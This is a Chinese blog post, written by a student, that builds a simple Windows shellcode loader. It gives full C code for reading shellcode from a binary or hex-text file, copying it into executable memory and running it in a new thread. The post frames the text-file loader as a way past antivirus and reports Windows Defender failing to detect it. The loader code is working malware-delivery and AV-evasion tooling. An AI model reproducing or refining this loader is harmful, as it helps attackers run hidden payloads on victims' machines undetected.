「星球投稿」Simple-Shellcode-Loader学习

简介: 「星球投稿」Simple-Shellcode-Loader学习

此篇为投稿文章,为知识星球内一位刚上大学的小伙子@Muxue投稿(国庆假期小伙子们的学习劲头值得表扬)

在我指导下协助其解决了一些问题后,让他记录了一篇文章,潦草了些,但是我觉得也能帮助下基础薄弱的同学,所以将这篇记录发出来。

最后再表扬下@Muxue同学

为了保留小伙子的原汁原味,下面是原文我未作改动,并保留了一些奇奇怪怪的语气词。

前言

   之前的东西,加了个功能又学到了新东西,练下代码;这一篇都非常简单!!!这垃圾代码再改改,硬编码下字符串、隐藏下WinAPI等,肯定效果很更好点。

开冲

就是简单的三部曲

  1. 申请内存
  2. 写入内存
  3. 然后加载
VirtualAlloc() or VirtualAllocEx();
CopyMemory() or WriteMemory();
CreateThread() or (*(void (*)()) shellcode)();

还有很多类似的这种...

ExecBin

这个就比较简单了

  1. 从文件中读取
  2. 然后拷贝进内存
  3. 创建线程加载
void ExecBin(char* file_name) {
 LARGE_INTEGER fileSize;
 HANDLE hThread;
 DWORD dwThreadId;
 char* filename = file_name;
 HANDLE MyFile = CreateFileA(file_name, GENERIC_READ, 0, NULL, OPEN_EXISTING,
 FILE_ATTRIBUTE_NORMAL, NULL);
 GetFileSizeEx(MyFile, &fileSize);
 char buf[6000];
 ZeroMemory(&buf, sizeof(buf));
 printf("Size : %d \n", fileSize.LowPart);
 char *xue_buf = (char*)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 ReadFile(MyFile, buf, fileSize.LowPart, 0, NULL);
 CopyMemory(xue_buf, buf, sizeof(buf));
 hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)xue_buf, NULL, NULL, &dwThreadId);
 // 等待线程
 WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
 VirtualFree(xue_buf, 0, MEM_RELEASE);
  CloseHandle(MyFile);
 CloseHandle(hThread);
}

   通过ReadFIle读取二进制文件,放入到一个变量中,最后把这个变量CopyMemory拷贝进一块内存中, 最后加载执行。

ExecTxt

   像那种原始的shellcode payload,直接整进内存再加载,极为方便所以一些AV看的就比较严了。我就在想原来看人家通过txt加载(正常文本反正不会杀吧),所以有了这个函数。这里和上面其实差不了太多,核心的功能其实就是 读取Hex字符串转换为Shellcode

借鉴于这个项目:https://github.com/DimopoulosElias/SimpleShellcodeInjector

   想要弄明白就调试一下,我直接用的@idiotc4t师傅的demo来做测试了

for(unsigned int i = 0; i< iterations-1; i++) {
 sscanf(shellcode+2*i, "%2X", &char_in_hex); // sscanf格式化输出,%2x以
 十六进制输出保留两位(应该就是取两位),然后传入char_in_hex里
 shellcode[i] = (char)char_in_hex;
}

首先看没有转换的


   可以从内存窗口看出就是单纯的字符串,要是拷贝进内存中,拷贝进去的不是shellcode而是这些字符 串!这是踩了个坑 基础太差

然后接着跟进

可以看出来就是根据字符串转为对应的16进制的数据然后重新写入shellcode里

然后我们再看第二组

   调试出为72 对应的ASCII也就是H,然后拷贝进内存就是对应的48了(ASCII的H转换为十六进制也就是48) 所以这样一个个走下去,一组转换为int类型,然后int类型转换为对应的十六进制,最后就放到对应的 shellcode[i]里

1. i=0,shellcode+2*0,但是取2位就是第一组(1 2) 字符串里的FC -> 252 -> 在内存里就
是FC
2. i=1,shellcode+2*1,就是取2+2也就是第二组(3 4) 字符串里的48 -> 72 -> 在字符里就
是H -> 在内存里就是48
3. i=2,shellcode+2*2,就是取2+4也就是第三组(5 6) 字符串里的83 -> 131 -> 在内存里就
是83
// 但是别忘了我们字符串里的也是16进制的
....

只是找到对应的了,假如shellcode字符串里的是48(hex)就转换为ascii 10进制的72,在字符串中 显示的就是H,但是在内存中显示的就是48(hex)了; 这样以此类推下去 每个取2位然后进行转换,我是这样理解的 有不对的请师傅们指出

   这里放出来转换前和转换后的俩图,大家一看就明白了

   注意看内存窗口 就是单纯的字符串,我们所需的shellcode也没有在内存中,你加载执行的只是这 些字符串并不是所需的shellcode

我们在比对下转换后的

这样shellcode就正常在内存中了

#include <stdio.h>
#include <Windows.h>
int main(int argc, char* argv[]) {
 char shellcode[] = "";
 unsigned int char_in_hex; // 临时变量
 unsigned int iterations = strlen(shellcode); // 整体shellcode的长度
 unsigned int memory_allocation = strlen(shellcode) / 2 ; // 因为在内存中俩个为1byte吗 除2 
  DWORD temp;
 LARGE_INTEGER fileSize;
 HANDLE hThread;
 DWORD dwThreadId;
 char *xue_buf = (char*)VirtualAlloc(NULL, memory_allocation, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 for (unsigned int i = 0; i < iterations / 2; i++) { //减小开销
  sscanf_s(shellcode + 2 * i, "%2X", &char_in_hex);
  shellcode[i] = (char)char_in_hex;
 }
 CopyMemory(xue_buf, shellcode, memory_allocation);
 return 0;
}

这样一搞明白ExecTxt这个函数的原理就很简单了

void ExecTxt(char* file_name) {
 LARGE_INTEGER fileSize;
 HANDLE hThread;
 DWORD dwThreadId;
 char* filename = file_name;
 unsigned int char_in_hex;
  HANDLE MyFile = CreateFileA(file_name, GENERIC_READ, 0, NULL, OPEN_EXISTING,
 FILE_ATTRIBUTE_NORMAL, NULL);
 GetFileSizeEx(MyFile, &fileSize);
 char buf[6000];
 ZeroMemory(&buf, sizeof(buf));
 printf("Size : %d \n", fileSize.LowPart);
 char *xue_buf = (char*)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  ReadFile(MyFile, buf, fileSize.LowPart, 0, NULL);
 unsigned int iterations = strlen(buf);
 for (unsigned int i = 0; i < iterations / 2; i++) { //减小开销
  sscanf_s(buf + 2 * i, "%2X", &char_in_hex);
  buf[i] = (char)char_in_hex;
  }
 CopyMemory(xue_buf, buf, sizeof(buf));
 // printf(xue_buf);
 hThread = CreateThread(NULL,NULL, (LPTHREAD_START_ROUTINE)xue_buf,NULL,NULL,&dwThreadId);
 // 等待线程
 WaitForSingleObject(hThread, INFINITE);
 VirtualFree(xue_buf, 0, MEM_RELEASE);
 CloseHandle(MyFile);
 CloseHandle(hThread);
}

   就是把\x or 0x删除(这个功能我没写 我直接从就删除了然后到txt里),申请块内存,通过ReadFIle读取进 来,然后把对应的字符串的16进制数据重新写入xue_buf里,最后ZeroMemory拷贝进内存, CreateThread加载。

测试

最后测下免杀性了

Windows Defender

我擦 可以

   起初我还不大敢相信 又放在downloads下 测试了一遍确实可以,加载bin就不出意外的杀了

火绒

360

以上就是投稿文章的全部内容。

相关文章
|
6月前
|
数据采集 数据安全/隐私保护 iOS开发
深入浅出:Objective-C中使用MWFeedParser下载豆瓣RSS
本文旨在介绍如何在Objective-C中使用MWFeedParser库下载豆瓣RSS内容,同时展示如何通过爬虫代理IP技术和多线程提高爬虫的效率和安全性。
深入浅出:Objective-C中使用MWFeedParser下载豆瓣RSS
|
6月前
|
人工智能 JavaScript 前端开发
NUS CS1101S:SICP JavaScript 描述:前言、序言和致谢
NUS CS1101S:SICP JavaScript 描述:前言、序言和致谢
57 0
|
安全 测试技术 Shell
CTF竞赛 -- Shellcode学习
CTF竞赛 -- Shellcode学习
220 0
|
存储 Java 编译器
与Go的初次见面 | 青训营笔记
与Go的初次见面 | 青训营笔记
73 0
|
JavaScript 网络架构 开发者
TS扫盲大法-基础篇
TS扫盲大法-基础篇
115 0
TS扫盲大法-基础篇
编程小技巧3-IDEA插件Power Mode || 写代码帅是一辈子的事
编程小技巧3-IDEA插件Power Mode || 写代码帅是一辈子的事
515 0
编程小技巧3-IDEA插件Power Mode || 写代码帅是一辈子的事
笔记:UVM Coding规范·摘
笔记:UVM Coding规范·摘
118 0
|
前端开发 JavaScript
#yyds干货盘点# 【js学习笔记十九】前端argument的使用
#yyds干货盘点# 【js学习笔记十九】前端argument的使用
149 0
|
网络协议 编译器 程序员
为什么 Go 是我最喜欢的编程语言(2017)[翻译]#IT人的升职加薪tips#
为什么 Go 是我最喜欢的编程语言(2017)[翻译]#IT人的升职加薪tips#
185 0
为什么 Go 是我最喜欢的编程语言(2017)[翻译]#IT人的升职加薪tips#